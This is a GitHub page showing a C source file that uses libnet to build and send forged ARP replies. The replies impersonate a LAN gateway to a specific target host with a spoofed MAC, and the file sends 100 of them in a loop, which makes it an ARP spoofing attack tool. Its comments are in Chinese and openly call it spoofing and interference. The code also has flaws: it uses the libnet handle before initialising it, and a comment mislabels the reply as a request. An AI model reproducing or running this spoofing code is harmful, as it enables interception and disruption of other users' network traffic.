-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy patharp.c
More file actions
79 lines (71 loc) · 3.29 KB
/
Copy patharp.c
File metadata and controls
79 lines (71 loc) · 3.29 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <libnet.h>
int main() {
libnet_t *handle; /* Libnet句柄 */
int packet_size;
char *device = "eth0"; /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
u_int8_t *src_ip_str = "192.168.18.1"; /* 冒充的网关IP */
u_int8_t *dst_ip_str = "192.168.18.98"; /* 干扰的目标IP */
//08:00:27:9e:a4:7c
u_int8_t src_mac[6] = {0x08, 0x00, 0x27, 0x9e, 0xa4, 0x7c};/* 虚假的源MAC */
u_int8_t dst_mac[6] = {0x90, 0x2b, 0x34, 0x65, 0x4b, 0xfe};/* 干扰的目标MAC */
u_int32_t dst_ip, src_ip; /* 网路序的目的IP和源IP */
char error[LIBNET_ERRBUF_SIZE]; /* 出错信息 */
libnet_ptag_t arp_proto_tag, eth_proto_tag;
/* 把目的IP地址字符串转化成网络序 */
dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
/* 把源IP地址字符串转化成网络序 */
src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);
if ( dst_ip == -1 || src_ip == -1 ) {
printf("ip address convert error\n");
exit(-1);
};
/* 初始化Libnet,注意第一个参数和TCP初始化不同 */
if ( (handle = libnet_init(LIBNET_LINK_ADV, device, error)) == NULL ) {
printf("libnet_init: error [%s]\n", error);
exit(-2);
};
/* 构造arp协议块 */
arp_proto_tag = libnet_build_arp(
ARPHRD_ETHER, /* 硬件类型,1表示以太网硬件地址 */
ETHERTYPE_IP, /* 0x0800表示询问IP地址 */
6, /* 硬件地址长度 */
4, /* IP地址长度 */
ARPOP_REPLY, /* 操作方式:ARP请求 */
src_mac, /* source MAC addr */
(u_int8_t *)&src_ip, /* src proto addr */
dst_mac, /* dst MAC addr */
(u_int8_t *)&dst_ip, /* dst IP addr */
NULL, /* no payload */
0, /* payload length */
handle, /* libnet tag */
0 /* Create new one */
);
if (arp_proto_tag == -1) {
printf("build IP failure\n");
exit(-3);
};
/* 构造一个以太网协议块
You should only use this function when
libnet is initialized with the LIBNET_LINK interface.*/
eth_proto_tag = libnet_build_ethernet(
dst_mac, /* 以太网目的地址 */
src_mac, /* 以太网源地址 */
ETHERTYPE_ARP, /* 以太网上层协议类型,此时为ARP请求 */
NULL, /* 负载,这里为空 */
0, /* 负载大小 */
handle, /* Libnet句柄 */
0 /* 协议块标记,0表示构造一个新的 */
);
if (eth_proto_tag == -1) {
printf("build eth_header failure\n");
return (-4);
};
int nCount = 100;
while(nCount > 0) {
packet_size = libnet_write(handle); /* 死循环发送arp欺骗广播 */
usleep(50000);
nCount--;
};
libnet_destroy(handle); /* 释放句柄 */
return (0);
}